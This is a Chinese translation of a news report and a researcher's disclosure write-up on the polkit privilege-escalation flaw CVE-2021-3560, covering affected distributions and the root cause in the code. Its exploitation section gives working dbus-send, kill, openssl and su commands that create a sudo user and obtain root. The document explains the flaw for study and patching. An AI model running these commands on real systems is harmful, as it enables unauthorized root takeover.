目录导航
在 polkit 系统服务中发现的一个 7 年前的提权漏洞可能会被恶意的无特权本地攻击者利用来绕过授权并将权限提权给 root 用户。
跟踪为CVE-2021-3560(CVSS 评分:7.8),该漏洞影响 0.113 到 0.118 之间的 polkit 版本,并由 GitHub 安全研究员 Kevin Backhouse 发现,他表示该问题是在2013 年 11 月 9 日提交的代码中引入的. Red Hat 的 Cedric Buissart指出,基于 polkit 0.105 的基于 Debian 的发行版也容易受到攻击。

Polkit (née PolicyKit) 是一个在 Linux 发行版中定义和处理授权的工具包,用于允许非特权进程与特权进程通信。
“当一个请求进程在调用 polkit_system_bus_name_get_creds_sync 之前与 dbus-daemon 断开连接时,该进程无法获得进程的唯一 uid 和 pid,也无法验证请求进程的权限,”红帽在一份公告中说。“此漏洞的最大威胁是数据机密性和完整性以及系统可用性。”
RHEL 8、Fedora 21(或更高版本)、Debian“Bullseye”和 Ubuntu 20.04 是一些受 polkit 漏洞影响的流行 Linux 发行版。该问题已在 6 月 3 日发布的0.119 版中得到缓解。

“该漏洞非常容易被利用。只需要在终端中使用一些标准工具(如bash、kill和dbus-send)执行几条命令,”Backhouse 在昨天发表的一篇文章中说,并补充说该缺陷是由发送 dbus-send 命令(例如,创建一个新用户)但在 polkit 仍在处理请求的过程中终止进程。
“dbus-send”是一种 Linux 进程间通信 (IPC) 机制,用于向D-Bus消息总线发送消息,允许在同一台机器上并发运行的多个进程之间进行通信。Polkit 的策略权限守护进程作为连接到系统总线的服务来实现,以安全地验证凭据。
在终止命令时,它会导致身份验证绕过,因为 polkit 错误处理了终止的消息并将请求视为来自具有 root 权限(UID 0)的进程,从而立即授权请求。
“要触发易受攻击的代码路径,你必须在适当的时候断开连接,”Backhouse 说。“而且因为涉及多个进程,那个’正确时刻’的时间从一次运行到下一次运行不同。这就是为什么通常需要几次尝试才能成功利用。我想这也是错误之前没有发现的原因。”
鼓励用户尽快更新他们的 Linux 安装,以修复由该缺陷引起的任何潜在风险。
CVE-2021-3560漏洞详情:
polkit是默认安装在许多 Linux 发行版上的系统服务。它由systemd 使用,因此任何使用 systemd 的 Linux 发行版也使用 polkit。作为GitHub 安全实验室的成员,我的工作是通过发现和报告漏洞来帮助提高开源软件的安全性。几周前,我在 polkit 中发现了一个提权漏洞。我与 polkit 维护人员和Red Hat 的安全团队协调了漏洞的披露。它被公开披露,该修复程序于 2021 年 6 月 3 日发布,并被分配了CVE-2021-3560。
该漏洞使无特权的本地用户能够获得系统上的 root shell。正如您在此短视频中所见,使用一些标准命令行工具很容易利用它。在这篇博文中,我将解释漏洞利用的工作原理,并向您展示漏洞在源代码中的位置。
CVE-2021-3560和脆弱的分布历史
我发现的错误很老了。它是七年前在提交bfa5036 中引入的,并首次随 polkit 0.113 版一起提供。然而,许多最流行的 Linux 发行版直到最近才发布易受攻击的版本。
该错误在Debian及其衍生产品(例如Ubuntu)上的历史略有不同,因为 Debian 使用具有不同版本编号方案的 polkit 分支。在 Debian 分支中,该错误是在提交f81d021中引入的,并首次随版本 0.105-26 一起提供。Debian 的最新稳定版本Debian 10 (“buster”)使用版本 0.105-25,这意味着它不易受到攻击。但是,一些 Debian 衍生产品,例如 Ubuntu,是基于Debian 不稳定的,这是易受攻击的。
这是一个包含一些流行发行版以及它们是否易受攻击的表格(请注意,这不是一个完整的列表):
分配 | 是否易受攻击 |
---|---|
RHEL 7 | 不 |
RHEL 8 | 是的 |
Fedora 20(或更早版本) | 不 |
Fedora 21(或更高版本) | 是的 |
Debian 10(“buster”) | 不 |
Debian 测试(“bullseye”) | 是的 |
Ubuntu 18.04 | 不 |
Ubuntu 20.04 | 是的 |
关于polkit
当您看到如下所示的对话框时,polkit是在后台运行的系统服务:

它本质上扮演着法官的角色。如果你想做一些需要更高权限的事情——例如,创建一个新的用户帐户——那么决定是否允许你这样做是 polkit 的工作。对于某些请求,polkit 会立即做出允许或拒绝的决定,而对于其他请求,它会弹出一个对话框,以便管理员可以通过输入密码来授予授权。
该对话框可能给人的印象是 polkit 是一个图形系统,但它实际上是一个后台进程。该对话框被称为身份验证代理,它实际上只是一种将密码发送到 polkit 的机制。为了说明 polkit 不仅仅用于图形会话,请尝试在终端中运行此命令:
pkexec reboot
pkexec
是一个类似于 的命令sudo
,它使您能够以 root 身份运行命令。如果您pkexec
在图形会话中运行,它将弹出一个对话框,但如果您在文本模式会话(如 SSH)中运行它,则它会启动自己的文本模式身份验证代理:
$ pkexec reboot
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/usr/sbin/reboot' as the super user
Authenticating as: Kevin Backhouse,,, (kev)
Password:
另一个可用于polkit
从命令行触发的命令是dbus-send
. 它是发送 D-Bus 消息的通用工具,主要用于测试,但通常默认安装在使用 D-Bus 的系统上。它可用于模拟图形界面可能发送的 D-Bus 消息。例如,这是创建新用户的命令:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1
如果您在图形会话中运行该命令,则会弹出一个身份验证对话框,但如果您在文本模式会话(如SSH )中运行它,则会立即失败。这是因为,与 不同pkexec
,dbus-send
它不启动自己的身份验证代理。
漏洞利用步骤
该漏洞非常容易利用。它所需要的是仅使用标准工具,如在终端中的几个命令bash
,kill
和dbus-send
。
我在本节中描述的概念证明 (PoC) 漏洞取决于安装的两个软件包:accountsservice
和gnome-control-center
. 在 Ubuntu 桌面等图形系统上,这两个软件包通常默认安装。但是,如果您使用的是非图形 RHEL 服务器之类的东西,那么您可能需要安装它们,如下所示:
sudo yum install accountsservice gnome-control-center
当然,该漏洞与accountsservice
或没有任何特别关系gnome-control-center
。它们只是 polkit 客户端,恰好是利用的方便载体。PoC 依赖gnome-control-center
而不仅仅是的原因accountsservice
很微妙——我稍后会解释。
为了避免重复触发身份验证对话框(这可能很烦人),我建议从 SSH 会话运行命令:
ssh localhost
该漏洞是通过启动dbus-send
命令但在 polkit 仍在处理请求的过程中将其杀死而触发的。我喜欢认为理论上可以通过在适当的时候粉碎 Ctrl+C 来触发,但我从来没有成功过,所以我用少量的 bash 脚本来代替。首先,您需要测量dbus-send
正常运行命令所需的时间:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1
输出将如下所示:
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
real 0m0.016s
user 0m0.005s
sys 0m0.000s
这对我来说花了 16 毫秒,所以这意味着我需要dbus-send
在大约 8 毫秒后终止命令:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!
您可能需要运行几次,并且可能需要试验延迟的毫秒数。当漏洞利用成功时,您将看到boris
已创建一个名为的新用户:
$ id boris uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)
请注意,boris
是该sudo
组的成员,因此您已经走上了全面提升权限的道路。接下来,您需要为新帐户设置密码。D-Bus 接口需要一个散列密码,您可以使用openssl
以下方法创建:
$ openssl passwd -5 iaminvincible! $5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB
现在你只需要再次做同样的技巧,除了这次调用SetPassword
D-Bus 方法:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!
同样,您可能需要试验延迟的长度并运行几次直到成功。另请注意,您需要粘贴正确的用户标识符 (UID),在本例中为“1002”,以及openssl
命令中的密码哈希。
现在您可以以 boris 身份登录并成为 root:
su - boris # password: iaminvincible! sudo su # password: iaminvincible!
polkit架构
为了帮助解释该漏洞,下面是dbus-send
命令期间涉及的五个主要进程的图表:

虚线上方的两个进程dbus-send
和身份验证代理是非特权用户进程。线下的那些是特权系统进程。中间是dbus-daemon
,它处理所有的通信:其他四个进程通过发送 D-Bus 消息相互通信。
dbus-daemon
在 polkit 的安全性中起着非常重要的作用,因为它使四个进程能够安全地通信并检查彼此的凭据。例如,当身份验证代理向 polkit 发送身份验证 cookie 时,它会通过将其发送到org.freedesktop.PolicyKit1
D-Bus 地址来实现。由于该地址仅允许由根进程注册,因此不存在非特权进程拦截消息的风险。dbus-daemon
还为每个连接分配一个“唯一的总线名称:”通常类似于“:1.96”。它有点像进程标识符 (PID),只是不容易受到PID 回收攻击。唯一的总线名称当前是从 64 位范围中选择的,因此不存在因名称被重用而导致漏洞的风险。
这是事件的顺序:
dbus-send
要求accounts-daemon
创建一个新用户。accounts-daemon
从 接收 D-Bus 消息dbus-send
。该消息包括发送者的唯一总线名称。让我们假设它是“:1.96”。此名称附加到消息中,dbus-daemon
不能伪造。accounts-daemon
询问 polkit connection :1.96 是否被授权创建新用户。- polkit 要求
dbus-daemon
提供连接的 UID:1.96。 - 如果连接 :1.96 的 UID 为“0”,则 polkit 立即授权该请求。否则,它会向身份验证代理发送允许授权请求的管理员用户列表。
- 身份验证代理打开一个对话框以从用户那里获取密码。
- 身份验证代理将密码发送给 polkit。
- polkit 将“是”回复发送回
accounts-daemon
. accounts-daemon
创建新的用户帐户。
关于此漏洞
为什么杀死dbus-send
命令会导致身份验证绕过?
该漏洞位于上述事件序列的第四步。如果 polkit 要求dbus-daemon
连接 :1.96 的 UID,但连接 :1.96 不再存在,会发生什么?dbus-daemon
正确处理这种情况并返回错误。但事实证明 polkit 没有正确处理该错误。事实上,polkit 以一种特别不幸的方式错误处理了错误:它没有拒绝请求,而是将请求视为来自 UID 0 的进程。换句话说,它立即授权请求,因为它认为请求从root进程来的。
为什么漏洞发生的时间是不确定的?
事实证明,polkitdbus-daemon
在不同的代码路径上多次询问请求进程的 UID。这些代码路径中的大多数都能正确处理错误,但其中之一没有。如果您dbus-send
提前终止命令,它将由正确的代码路径之一处理,并且请求将被拒绝。要触发易受攻击的代码路径,您必须在适当的时候断开连接。由于涉及多个流程,“正确时刻”的时机因一次运行而异。这就是为什么通常需要多次尝试才能成功利用的原因。我猜这也是之前没有发现该错误的原因。如果您可以通过杀死dbus-send
命令立即,然后我希望它会在很久以前被发现,因为这是一个更明显的测试。
dbus-daemon
请求请求连接的 UID的函数名为polkit_system_bus_name_get_creds_sync
:
static gboolean polkit_system_bus_name_get_creds_sync ( PolkitSystemBusName *system_bus_name, guint32 *out_uid, guint32 *out_pid, GCancellable *cancellable, GError **error)
的行为polkit_system_bus_name_get_creds_sync
很奇怪,因为当发生错误时,函数设置了错误参数但仍然返回TRUE
。当我编写错误报告时,我不清楚这是错误还是故意的设计选择。(事实证明这是一个错误,因为 polkit 开发人员通过返回错误来修复了该漏洞FALSE
。)我的不确定性源于这样一个事实,即几乎所有的调用者polkit_system_bus_name_get_creds_sync
不仅检查布尔结果,而且还检查NULL
在继续之前错误值仍然存在。该漏洞的原因是以下堆栈跟踪中未检查错误值:
0 in polkit_system_bus_name_get_creds_sync of polkitsystembusname.c:388 1 in polkit_system_bus_name_get_user_sync of polkitsystembusname.c:511 2 in polkit_backend_session_monitor_get_user_for_subject of polkitbackendsessionmonitor-systemd.c:303 3 in check_authorization_sync of polkitbackendinteractiveauthority.c:1121 4 in check_authorization_sync of polkitbackendinteractiveauthority.c:1227 5 in polkit_backend_interactive_authority_check_authorization of polkitbackendinteractiveauthority.c:981 6 in polkit_backend_authority_check_authorization of polkitbackendauthority.c:227 7 in server_handle_check_authorization of polkitbackendauthority.c:790 7 in server_handle_method_call of polkitbackendauthority.c:1272
该错误位于以下代码片段中check_authorization_sync
:
/* every subject has a user; this is supplied by the client, so we rely * on the caller to validate its acceptability. */ user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor, subject, NULL, error); if (user_of_subject == NULL) goto out; /* special case: uid 0, root, is _always_ authorized for anything */ if (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0) { result = polkit_authorization_result_new (TRUE, FALSE, NULL); goto out; }
请注意,error
未检查的值。
org.freedesktop.policykit.imply
注释
我之前提到过,gnome-control-center
除了accountsservice
. 这是为什么?
PoC 没有gnome-control-center
以任何可见的方式使用,我什至没有意识到我在编写 PoC 时依赖它!事实上,我才发现是因为 Red Hat 安全团队无法在 RHEL 上重现我的 PoC。当我在 RHEL 8.4 VM 上亲自尝试时,我也发现 PoC 不起作用。这令人费解,因为它在 Fedora 32 和 CentOS Stream 上运行良好。事实证明,关键的区别在于我的 RHEL VM 是一个没有安装 GNOME 的非图形服务器。那为什么重要呢?答案是policykit.imply
注释。
一些 polkit 动作本质上是等价的,所以如果一个已经被授权,那么默默地授权另一个是有意义的。GNOME 设置对话框就是一个很好的例子:

单击“解锁”按钮并输入密码后,您可以执行添加新用户帐户等操作,而无需再次进行身份验证。这是由policykit.imply
注释处理的,注释在此配置文件中定义:
/usr/share/polkit-1/actions/org.gnome.controlcenter.user-accounts.policy
配置文件包含以下含义:

换句话说,如果您被授权执行controlcenter
管理操作,那么您也被授权执行accountsservice
管理操作。
当我将GDB附加到我的 RHEL VM 上的 polkit 时,我发现我没有看到我之前列出的易受攻击的堆栈跟踪。请注意,堆栈跟踪的第四步是check_authorization_sync
对自身的递归调用。这发生在第 1227 行,这是 polkit 检查policykit.imply
注释的地方:
PolkitAuthorizationResult *implied_result = NULL;
PolkitImplicitAuthorization implied_implicit_authorization;
GError *implied_error = NULL;
const gchar *imply_action_id;
imply_action_id = polkit_action_description_get_action_id (imply_ad);
/* g_debug ("%s is implied by %s, checking", action_id, imply_action_id); */
implied_result = check_authorization_sync (authority, caller, subject,
imply_action_id,
details, flags,
&implied_implicit_authorization, TRUE,
&implied_error);
if (implied_result != NULL)
{
if (polkit_authorization_result_get_is_authorized (implied_result))
{
g_debug (" is authorized (implied by %s)", imply_action_id);
result = implied_result;
/* cleanup */
g_strfreev (tokens);
goto out;
}
g_object_unref (implied_result);
}
if (implied_error != NULL)
g_error_free (implied_error);
身份验证绕过取决于错误值被忽略。它在第 1121 行被忽略,但它仍然存储在error
参数中,因此它也需要被调用者忽略。上面的代码块有一个名为 的临时变量implied_error
,当implied_result
它不为空时被忽略。这是使绕过成为可能的关键步骤。
总而言之,身份验证绕过仅适用于由另一个 polkit 操作隐含的 polkit 操作。这就是为什么我的 PoC 仅control-center
在安装了gnome- 时才有效的原因:它添加了policykit.imply
使我能够将accountsservice
. 不过,这并不意味着 RHEL 可以避免此漏洞。该漏洞的另一个攻击向量是packagekit
,它默认安装在 RHEL 上,并policykit.imply
为该package-install
操作提供了合适的注释。packagekit
用于安装包,因此可以利用它来安装gnome-control-center
,之后其余的漏洞利用和以前一样工作。
总结
CVE-2021-3560 使无特权的本地攻击者能够获得 root 权限。它非常简单且易于利用,因此尽快更新 Linux 安装非常重要。任何安装了 polkit 0.113 版(或更高版本)的系统都容易受到攻击。这包括流行的发行版,例如 RHEL 8 和 Ubuntu 20.04。
如果您喜欢深入了解安全漏洞(以及如何修复它们),请查看安全实验室团队正在做的一些其他工作或在Twitter 上关注我们。